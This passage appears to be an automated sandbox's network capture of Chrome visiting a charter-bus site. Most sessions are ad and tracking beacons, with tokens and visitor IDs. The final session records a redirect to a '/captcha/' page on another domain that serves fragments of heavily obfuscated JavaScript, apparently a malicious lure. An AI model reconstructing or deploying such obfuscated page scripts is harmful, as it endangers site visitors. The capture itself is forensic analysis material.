8	192.168.2.5	49714	104.254.151.60	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:02 UTC	573	OUT	GET /getuidj HTTP/1.1 host: secure.adnxs.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://gogocharters.com sec-fetch-site: cross-site sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:02 UTC	785	IN	HTTP/1.1 200 OK server: nginx/1.23.4 date: Wed, 21 May 2025 19:48:02 GMT content-type: application/json; charset=utf-8 content-length: 11 cache-control: no-store, no-cache, private pragma: no-cache expires: Sat, 15 Nov 2008 16:00:00 GMT p3p: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" x-xss-protection: 0 access-control-allow-credentials: true access-control-allow-origin: https://gogocharters.com accept-ch: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness an-x-request-uuid: c24ff172-70ee-4f71-b23f-828e88e21ca5 x-proxy-origin: 191.101.61.23; 191.101.61.23; 899.bm-nginx-loadbalancer.mgmt.lax1.adnexus.net; *.adnxs.com
2025-05-21 19:48:02 UTC	11	IN	Data Raw: 7b 22 75 69 64 22 3a 22 30 22 7d Data Ascii: {"uid":"0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49716	75.2.108.141	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:02 UTC	522	OUT	OPTIONS /v3/company/details HTTP/1.1 host: epsilon.6sense.com accept: / access-control-request-method: GET access-control-request-headers: authorization,x-6s-customid origin: https://gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-fetch-mode: cors sec-fetch-site: cross-site sec-fetch-dest: empty referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:02 UTC	404	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:02 GMT content-length: 0 timing-allow-origin: https://6sense.com x-6si-region: access-control-expose-headers: X-6si-Region access-control-allow-origin: https://gogocharters.com access-control-allow-credentials: true access-control-max-age: 1800 access-control-allow-methods: OPTIONS,GET access-control-allow-headers: authorization,x-6s-customid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49718	142.250.101.103	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:03 UTC	1139	OUT	POST /ccm/collect?en=page_view&dl=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&scrsrc=www.googletagmanager.com&frm=0&rnd=1559727493.1747856882&dt=Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington&auid=2043224603.1747856882&navt=n&npa=0&gtm=45He55k0v78295896za200&gcd=13l3l3l3l1l1&dma=0&tag_exp=101509157~103116026~103130498~103130500~103136993~103136995~103200004~103233427~103252644~103252646~103301114~103301116&tft=1747856881758&tfd=5298&apve=1&apvf=f HTTP/1.1 host: www.google.com content-length: 0 sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://gogocharters.com x-client-data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiJo8sBCIWgzQEIxeHOAQ== sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:03 UTC	561	IN	HTTP/1.1 200 OK expires: Fri, 01 Jan 1990 00:00:00 GMT date: Wed, 21 May 2025 19:48:03 GMT pragma: no-cache cache-control: no-cache, no-store, must-revalidate content-type: text/plain vary: Origin vary: X-Origin vary: Referer server: scaffolding on HTTPServer2 content-length: 0 x-xss-protection: 0 x-frame-options: SAMEORIGIN x-content-type-options: nosniff access-control-allow-origin: https://gogocharters.com access-control-expose-headers: date,vary,vary,vary,server,content-length alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49717	75.2.108.141	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:03 UTC	709	OUT	GET /v3/company/details HTTP/1.1 host: epsilon.6sense.com sec-ch-ua-platform: "Windows" authorization: Token 27ef31915be8823c33720c04e0bd8cade118f5be x-6s-customid: WebTag 85148f45-208d-4e90-9861-30048671efb8 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://gogocharters.com sec-fetch-site: cross-site sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:03 UTC	344	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT content-type: application/json content-length: 1148 timing-allow-origin: https://6sense.com x-6si-region: access-control-expose-headers: X-6si-Region access-control-allow-origin: https://gogocharters.com vary: Origin access-control-allow-credentials: true vary: Accept-Encoding
2025-05-21 19:48:03 UTC	1148	IN	Data Raw: 7b 22 63 6f 6d 70 61 6e 79 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 31 30 31 62 75 69 6c 64 69 6e 67 73 75 70 70 6c 79 2e 63 6f 6d 22 2c 22 6e 61 6d 65 22 3a 22 31 30 31 20 42 75 69 6c 64 69 6e 67 20 53 75 70 70 6c 79 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 6f 72 74 68 65 72 6e 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 73 74 61 74 65 22 3a 22 43 61 6c 69 66 6f 72 6e 69 61 22 2c 22 63 69 74 79 22 3a 22 53 61 63 72 61 6d 65 6e 74 6f 22 2c 22 69 6e 64 75 73 74 72 79 22 3a 22 52 65 74 61 69 6c 20 61 6e 64 20 44 69 73 74 72 69 62 75 74 69 6f 6e 22 2c 22 63 6f 6d 70 61 6e 79 49 64 22 3a 22 30 35 34 38 65 32 32 35 36 32 66 65 61 37 63 22 2c 22 63 6f 75 6e 74 72 79 5f 69 73 6f 5f 63 6f 64 65 22 3a Data Ascii: {"company":{"domain":"101buildingsupply.com","name":"101 Building Supply","region":"Northern America","country":"United States","state":"California","city":"Sacramento","industry":"Retail and Distribution","companyId":"0548e22562fea7c","country_iso_code":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49728	23.43.51.48	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:04 UTC	372	OUT	GET / HTTP/1.1 Host: c.6sc.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-05-21 19:48:04 UTC	299	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 7 Date: Wed, 21 May 2025 19:48:04 GMT Connection: keep-alive Access-Control-Allow-Origin: Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,POST
2025-05-21 19:48:04 UTC	7	IN	Data Raw: 3c 70 3e 3c 2f 70 3e Data Ascii: <p></p>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49726	23.43.51.47	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:04 UTC	354	OUT	GET / HTTP/1.1 host: ipv6.6sc.co user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:04 UTC	372	IN	HTTP/1.1 200 OK content-type: text/html content-length: 4 expires: Wed, 21 May 2025 19:48:04 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:04 GMT server-timing: cdn-cache; desc=HIT server-timing: edge; dur=1 6si-ipv6: null server-timing: ak_p; desc="1747856883856_399898544_1067038717_11_405_163_167_15";dur=1
2025-05-21 19:48:04 UTC	4	IN	Data Raw: 6e 75 6c 6c Data Ascii: null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49729	23.43.51.47	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:04 UTC	1160	OUT	GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=a_pageload&q=%7B%22pageLoadTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1 host: b.6sc.co user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:04 UTC	260	IN	HTTP/1.1 200 OK content-type: image/gif content-length: 43 x-content-type-options: nosniff accept-ranges: bytes expires: Wed, 21 May 2025 19:48:04 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:04 GMT
2025-05-21 19:48:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;
2025-05-21 19:48:04 UTC	1318	OUT	GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=active_time_track&q=%7B%22currentTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A01%20GMT%22%2C%22lastTrackTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%22%2C%22timeSpent%22%3A%221015%22%2C%22totalTimeSpent%22%3A%221015%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&an_uid=0&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1 host: b.6sc.co user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:04 UTC	260	IN	HTTP/1.1 200 OK content-type: image/gif content-length: 43 x-content-type-options: nosniff accept-ranges: bytes expires: Wed, 21 May 2025 19:48:04 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:04 GMT
2025-05-21 19:48:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;
2025-05-21 19:48:04 UTC	1460	OUT	GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=ni%3AasyncSettingsAudit&q=%7B%22settings%22%3A%22%5B%7B%5C%22name%5C%22%3A%5C%22setToken%5C%22%2C%5C%22value%5C%22%3A%5C%22b30b4e83068a50cbbd396642a2a67178%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22disableCookies%5C%22%2C%5C%22value%5C%22%3A%5C%22false%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22setEpsilonKey%5C%22%2C%5C%22value%5C%22%3A%5C%2227ef31915be8823c33720c04e0bd8cade118f5be%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIPv6Ping%5C%22%2C%5C%22value%5C%22%3 [TRUNCATED]
2025-05-21 19:48:04 UTC	1460	OUT	Data Raw: 32 32 25 32 43 25 35 43 25 32 32 76 61 6c 75 65 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 74 72 75 65 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 64 61 74 65 54 69 6d 65 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 57 65 64 25 32 43 25 32 30 32 31 25 32 30 4d 61 79 25 32 30 32 30 32 35 25 32 30 31 39 25 33 41 34 38 25 33 41 30 30 25 32 30 47 4d 54 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 74 69 6d 65 53 69 6e 63 65 50 61 67 65 4c 6f 61 64 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 30 25 35 43 25 32 32 25 37 44 25 32 43 25 37 42 25 35 43 25 32 32 6e 61 6d 65 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 73 65 74 57 68 69 74 65 4c 69 73 74 46 69 65 6c 64 73 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 76 61 6c 75 65 25 35 43 25 32 32 25 33 41 25 35 Data Ascii: 22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22setWhiteListFields%5C%22%2C%5C%22value%5C%22%3A%5
2025-05-21 19:48:04 UTC	1261	OUT	Data Raw: 64 61 74 65 54 69 6d 65 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 57 65 64 25 32 43 25 32 30 32 31 25 32 30 4d 61 79 25 32 30 32 30 32 35 25 32 30 31 39 25 33 41 34 38 25 33 41 30 30 25 32 30 47 4d 54 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 74 69 6d 65 53 69 6e 63 65 50 61 67 65 4c 6f 61 64 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 30 25 35 43 25 32 32 25 37 44 25 32 43 25 37 42 25 35 43 25 32 32 6e 61 6d 65 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 65 6e 61 62 6c 65 43 6f 6d 70 61 6e 79 44 65 74 61 69 6c 73 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 76 61 6c 75 65 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 74 72 75 65 25 35 43 25 32 32 25 32 43 25 35 43 25 32 32 64 61 74 65 54 69 6d 65 25 35 43 25 32 32 25 33 41 25 35 43 25 32 32 57 65 Data Ascii: dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableCompanyDetails%5C%22%2C%5C%22value%5C%22%3A%5C%22true%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22We
2025-05-21 19:48:04 UTC	260	IN	HTTP/1.1 200 OK content-type: image/gif content-length: 43 x-content-type-options: nosniff accept-ranges: bytes expires: Wed, 21 May 2025 19:48:04 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:04 GMT
2025-05-21 19:48:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;
2025-05-21 19:48:05 UTC	1318	OUT	GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=active_time_track&q=%7B%22currentTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A02%20GMT%22%2C%22lastTrackTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A01%20GMT%22%2C%22timeSpent%22%3A%221032%22%2C%22totalTimeSpent%22%3A%222047%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&an_uid=0&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1 host: b.6sc.co user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:05 UTC	260	IN	HTTP/1.1 200 OK content-type: image/gif content-length: 43 x-content-type-options: nosniff accept-ranges: bytes expires: Wed, 21 May 2025 19:48:05 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:05 GMT
2025-05-21 19:48:05 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49727	104.254.148.252	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:04 UTC	366	OUT	GET /getuidj HTTP/1.1 host: secure.adnxs.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:04 UTC	762	IN	HTTP/1.1 200 OK server: nginx/1.23.4 date: Wed, 21 May 2025 19:48:04 GMT content-type: application/json; charset=utf-8 content-length: 11 cache-control: no-store, no-cache, private pragma: no-cache expires: Sat, 15 Nov 2008 16:00:00 GMT p3p: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" x-xss-protection: 0 access-control-allow-credentials: true access-control-allow-origin: * accept-ch: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness an-x-request-uuid: d2b82c0e-16df-4fd3-ad94-37b0cd6f5323 x-proxy-origin: 191.101.61.23; 191.101.61.23; 894.bm-nginx-loadbalancer.mgmt.lax1.adnexus.net; *.adnxs.com
2025-05-21 19:48:04 UTC	11	IN	Data Raw: 7b 22 75 69 64 22 3a 22 30 22 7d Data Ascii: {"uid":"0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49724	70.40.216.191	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:04 UTC	674	OUT	GET /captcha/ HTTP/1.1 host: ia-robotics.com sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-fetch-site: cross-site sec-fetch-mode: navigate sec-fetch-dest: document referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=0, i
2025-05-21 19:48:04 UTC	374	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:03 GMT server: nginx/1.25.5 content-type: text/html; charset=UTF-8 cache-control: max-age=7200 expires: Wed, 21 May 2025 21:48:03 GMT vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== x-endurance-cache-level: 2 x-nginx-cache: WordPress x-server-cache: true x-proxy-cache: MISS content-length: 126735
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 3c 73 63 72 69 70 74 3e 3b 46 75 6e 63 74 69 6f 6e 28 22 27 6b 32 73 7b 78 61 7b 38 65 78 7b 63 25 2e 34 5e 73 79 36 65 7e 68 26 5b 37 2d 6f 23 74 7e 76 76 63 6e 31 6e 2c 36 6e 67 78 5f 77 7d 71 69 37 2b 36 39 5f 79 6e 71 69 69 7d 40 6d 7a 26 7e 65 70 69 71 31 23 7e 6f 7a 70 32 2c 65 2a 35 73 65 65 69 25 65 2d 21 72 6a 7b 68 35 5d 79 34 6d 79 2b 23 38 72 2e 66 23 21 6d 6f 6d 6d 2e 78 40 6c 33 67 5f 75 6e 79 7a 76 25 26 68 6b 74 74 79 5d 37 5d 5b 7a 6b 35 67 5e 36 6d 2b 7d 72 79 73 6a 66 65 5e 21 7b 35 68 2c 75 2b 37 23 63 72 68 7e 2a 2a 78 5f 72 2e 2a 40 6c 5b 25 2e 76 25 38 32 26 5b 37 33 2b 23 2a 38 5e 21 6b 71 5e 31 40 61 77 7a 2d 21 23 2d 34 35 33 70 33 23 2a 65 39 5f 77 5e 34 63 66 32 65 65 5f 5e 38 36 34 6a 72 26 73 68 26 26 61 39 32 2e 78 5b 2a 65 Data Ascii: <script>;Function("'k2s{xa{8ex{c%.4^sy6e~h&[7-o#t~vvcn1n,6ngx_w}qi7+69_ynqii}@mz&~epiq1#~ozp2,e5seei%e-!rj{h5]y4my+#8r.f#!momm.x@l3g_unyzv%&hktty]7][zk5g^6m+}rysjfe^!{5h,u+7#crh~x_r.@l[%.v%82&[73+#8^!kq^1@awz-!#-453p3#e9_w^4cf2ee_^864jr&sh&&a92.x[*e
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 5c 5c 22 2b 5f 49 4c 63 36 61 72 73 65 74 29 3b 72 65 74 75 72 6e 20 5f 59 35 33 35 33 3b 7d 72 65 74 75 72 6e 20 21 5f 59 35 33 35 33 3b 7d 29 28 66 61 6c 73 65 29 3b e2 80 8b 5f 4f 57 4a 73 57 2e 5f 4b 56 4f 39 34 46 3d 5c 5c 5c 22 4e 48 4a 49 5a 50 42 50 54 4d 47 53 57 53 50 4d 4b 52 52 53 50 5a 53 56 48 52 45 4f 59 52 45 56 54 4b 4c 54 50 54 55 4b 49 4e 51 4a 49 56 4c 41 48 55 50 5a 54 55 46 49 5a 52 59 49 46 47 56 5c 5c 5c 22 e2 80 8b 28 66 75 6e 63 74 69 6f 6e 28 5f 42 52 35 6d 38 39 49 41 2c 5f 4e 33 31 72 2c 5f 49 73 69 6a 2c 5f 59 67 58 52 62 62 58 38 29 7b 5f 42 52 35 6d 38 39 49 41 3d 74 68 69 73 3b 5f 4e 33 31 72 3d 5c 5c 5c 22 5c 5c 5c 5c 31 36 32 5c 5c 5c 5c 31 34 35 5c 5c 5c 5c 31 36 30 5c 5c 5c 5c 31 35 34 5c 5c 5c 5c 31 34 31 5c 5c 5c 5c Data Ascii: \\"+_ILc6arset);return _Y5353;}return !_Y5353;})(false);_OWJsW._KVO94F=\\\"NHJIZPBPTMGSWSPMKRRSPZSVHREOYREVTKLTPTUKINQJIVLAHUPZTUFIZRYIFGV\\\"(function(_BR5m89IA,_N31r,_Isij,_YgXRbbX8){_BR5m89IA=this;_N31r=\\\"\\\\162\\\\145\\\\160\\\\154\\\\141\\\\
2025-05-21 19:48:04 UTC	1460	IN	Data Raw: 34 36 61 38 66 37 34 37 37 37 64 33 35 33 61 64 2c 41 35 30 41 39 21 36 35 32 59 41 4c 34 31 36 43 33 3a 39 36 64 62 62 3a 46 36 39 59 41 4d 66 37 39 63 35 32 32 37 38 39 64 65 37 38 33 63 66 33 31 38 30 64 30 7b 30 32 33 39 30 58 37 33 58 39 35 4c 38 38 62 44 46 33 32 38 63 62 64 58 30 34 64 61 34 66 62 35 32 41 39 47 30 35 37 41 58 32 31 61 66 5f 37 36 33 41 44 46 44 32 44 35 30 41 37 31 34 36 59 43 32 31 39 37 30 63 37 31 65 37 35 63 63 32 33 37 41 64 31 37 30 44 33 32 33 37 39 38 34 33 36 31 63 38 39 58 30 33 37 38 58 65 35 33 43 39 33 58 41 34 31 39 38 65 66 34 36 39 64 46 34 34 62 61 32 33 66 39 46 46 35 35 32 36 32 66 32 34 34 61 37 46 41 35 34 59 38 44 30 28 44 59 37 31 34 36 35 59 44 7e 35 36 34 37 62 31 41 36 35 37 46 43 41 32 58 62 39 31 66 37 Data Ascii: 46a8f74777d353ad,A50A9!652YAL416C3:96dbb:F69YAMf79c522789de783cf3180d0{02390X73X95L88bDF328cbdX04da4fb52A9G057AX21af_763ADFD2D50A7146YC21970c71e75cc237Ad170D3237984361c89X0378Xe53C93XA4198ef469dF44ba23f9FF55262f244a7FA54Y8D0(DY71465YD~5647b1A657FCA2Xb91f7
